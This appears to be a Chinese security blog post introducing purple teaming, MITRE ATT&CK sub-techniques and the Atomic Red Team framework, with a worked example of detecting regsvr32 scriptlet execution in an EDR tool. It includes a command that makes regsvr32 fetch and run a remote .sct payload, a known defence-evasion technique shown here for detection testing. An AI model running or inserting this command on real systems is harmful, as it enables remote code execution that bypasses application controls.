探索Atomic Red Team测试框架

admin 2022年9月10日16:01:53评论166 views字数 2967阅读9分53秒阅读模式


 了解红队、蓝队、紫队 


探索Atomic Red Team测试框架


 “队” 一词在当时可谓是具有革命性的一个概念,一支 “友好的” 安全团队试图突破公司防御系统的想法也并不常见。而如今,渗透测试已经发展成为任何网络安全系统必不可少的组成部分,内部和外部红队在此过程中也发挥着至关重要的作用。但 “红队” 并不是孤立存在的,组织经常也会使用 “蓝队”,即负责防御真实和模拟攻击的内部安全团队。了解蓝队和红队的观点对于理解紫队演习如何改善安全态势至关重要。但即使红队与蓝队服务于同一目的,在没有积极监督的情况下,它们不可避免地会发生冲突。从蓝队的角度来看,最少的警报表明安全控制在最佳状态下运行,有效地防止了威胁。同样,当大量警报开始出现时,也意味着实施的检测措施正在发挥作用。因此,蓝队没有动力帮助红队,因为红队的失败等同于蓝队的成功。而从红队的立场来看,一份包含多个发现的报告是一项出色的工作。绕过控制的数量衡量红队成员的成功。但是,同样,它导致帮助蓝队的动机为零,因为当蓝队失败时,它越等于红队的成功。那么紫队的存在就是为了促进红队和蓝队的情报共享。所以说:紫队是一种方法,而不是组织内部的团队。紫队旨在使红队和蓝队在持续反馈和知识转移中进行工作,以最大限度地提高组织的网络安全能力。


  ATT&CK&子技术  

ATT&CK是由MITRE创建并维护的一个对抗战术和技术的知识库。这个知识库是由社区驱动的,并且是公开免费、全球可访问的知识库。ATT&CK是针对网络攻击行为的精选知识库和模型,反映了攻击者攻击生命周期以及各个攻击阶段的目标,由以下核心组件组成:战术(Tactics):表示攻击过程中的短期战术目标;技术(Techniques):描述对手实现战术目标的手段;子技巧(Sub-Techniques):描述对手在比技术更低的级别上实现战术目标的技术手段;探索Atomic Red Team测试框架

子技术特点


打开子技术和技术具体页面,其所包含信息几乎一样,包括攻击技术描述、检测、环节、数据源等。其根本区别在于他们之间的关系,任何一个子技术都拥有唯一个父技术。但是子技术与技术之间并不存在一对多关系。对于横跨多个战术的子技术需要特别说明下,子技术并不需要考虑其父技术归属于哪个战术。例如,进程注入(T1055)属于“防御绕过”和“提权”两个战术下面的技术,其对应的子技术是唯一的。
通常情况下子技术会继承父技术一些信息,包括缓解措施和数据源信息等。但是攻击组织和恶意软件相关实例在子技术和技术之间并不存在继承关系。例如在审核相关威胁情报时,如果提供信息足够详细,足以将其关联到子技术,则可以映射到子技术上。如果信息是不明确的,以至于子技术不能被识别,那么该信息将被映射到该技术。为了减少冗余关系,不应该将同一攻击实例映射到两者之上。
探索Atomic Red Team测试框架


Atomic Red Team


Atomic Red Team是一个小型并且便捷的测试框架,与MITRE ATT&CK Framework相对应。每种测试用例都对应一种特定的攻击策略。通过这种方式,我们希望安防人员能够快速测试他们所使用的安防方案能否应对各种形式的攻击。
使用步骤如下:
1、进行测试前,请确保已事先获得必要的授权许可。未经授权进行测试并不是个好主意,可能会对个人记录产生不良影响。
2、请搭建一台与真实环境相似的测试主机。请确保你所使用的事件收集及EDR(端点检测及响应)解决方案已准备就绪,且端点已登录并处于活跃状态。
3、花点时间制定测试计划或测试方案。测试计划可以有多种形式。比如,我们可以在一个批处理文件中一次性执行所有的探测(Discovery)分支,也可以逐一运行每个分支,在运行中随时验证测试覆盖率。

执行测试


这个测试用例执行起来非常简单,因为所使用的工具在所有Windows工作站上都已默认安装。我们提供了两种方法来进行模拟:本地方法以及远程方法。此外,我们也提供了一个“.sct”示例文件,以辅助运行模拟过程。
1、本地方法
对于本地模拟,我们可以使用如下命令及预先提供的.sct文件:
Regsv .exe /s /u /i:file.sct scrobj.dll
2、远程方法
对于远程模拟,你需要一个可以远程访问的服务器,以抓取或下载所需的文件,或者你也可以直接使用gist地址:
regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll
请一定要注意执行测试所需的时间。你可以跟踪测试时长来测量测试过程的有效性。

收集证据


那么这里我们的安全管理工具会观察到什么结果呢?一、可能会发现用户目录发生文件改动现象.二、可能会检测到regsvr32.exe向某个外部的IP地址发起网络请求.三、代理日志中可能存在相关记录四、可以回观察到Windows系统正在加载scrobj.dll这些情况正是我们测试的目的所在。我们希望通过测试来明确可观测结果之间的差异,以进一步改善观测结果。Red Canary使用EDR传感器来提供相关信息,辅助安防人员检测高级攻击行为。在下文中,我们将这种传感器称之为Carbon Black。 

探索Atomic Red Team测试框架



执行测试


我们通常会把这张图称之为Carbon Black Art图。从更高层次来看,我们可以可视化地观察到攻击的执行流程。可以从这张图中看到是由谁启动了什么程序。对我们的分析过程帮助很大,但还需要看一下实际数据:


探索Atomic Red Team测试框架


来看到这张图,这里我们已经收集到攻击所使用的命令以及基本的进程信息。在这里我们可以提取到许多属性信息,包括一些命令行参数。
探索Atomic Red Team测试框架

观察这张图,我们可以进一步挖掘数据,发现攻击中用来获取载荷的网络连接信息。

探索Atomic Red Team测试框架

开发检测方法


执行测试用例后,我们发现普通的防护方案没有一个能正常工作,这就是我们为什么进行测试的原因。基于这个实验结果以及现有的测试能力,我们需要使用现有的手段,在这个环境中检测这个攻击事件。单独抽出这个事件后,可以观察一下你所收集的所有属性,分析哪些属性可以用于风险警报。对这个例子而言,我们可以在Carbon Black中构建一个关注列表,其中包含特定的文件路径、exe文件、网络连接特征等。
探索Atomic Red Team测试框架


检测方案构建完毕后,我们需要验证一下这种方案是否有效,是否已经过完善优化。如果设计的检测方案过于宽泛,可以“检测”到每个regsvr32.exe,将会面临大量的误报率。但如果设计的方案过于狭隘,只能检测使用“/s /u /i”命令的regsvr32.exe,那么只要稍微修改一下命令行参数,所有攻击者都能绕过你的检测方案。为了在这两者之间找到平衡点,我们需要重新运行模拟过程,调整检测标准,直至找到合适的平衡点。这里并不是一劳永逸的,我们需要持续迭代,才能得到较好的结果。 

探索Atomic Red Team测试框架


探索Atomic Red Team测试框架


利用Atomic Red Team,我们可以在模拟环境中运行这些测试用例,验证检测方案的有效性,也可以验证防御控制方案是否正常工作。蓝队可根据这些知识,通过各种方法来检测这类攻击行为。

REF:

https://atomicredteam.io/coverage/
https://www.anquanke.com/post/id/87111

原文始发于微信公众号(山石网科安全技术研究院):探索Atomic Red Team测试框架

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月10日16:01:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   探索Atomic Red Team测试框架http://cn-sec.com/archives/1288414.html

发表评论

匿名网友 填写信息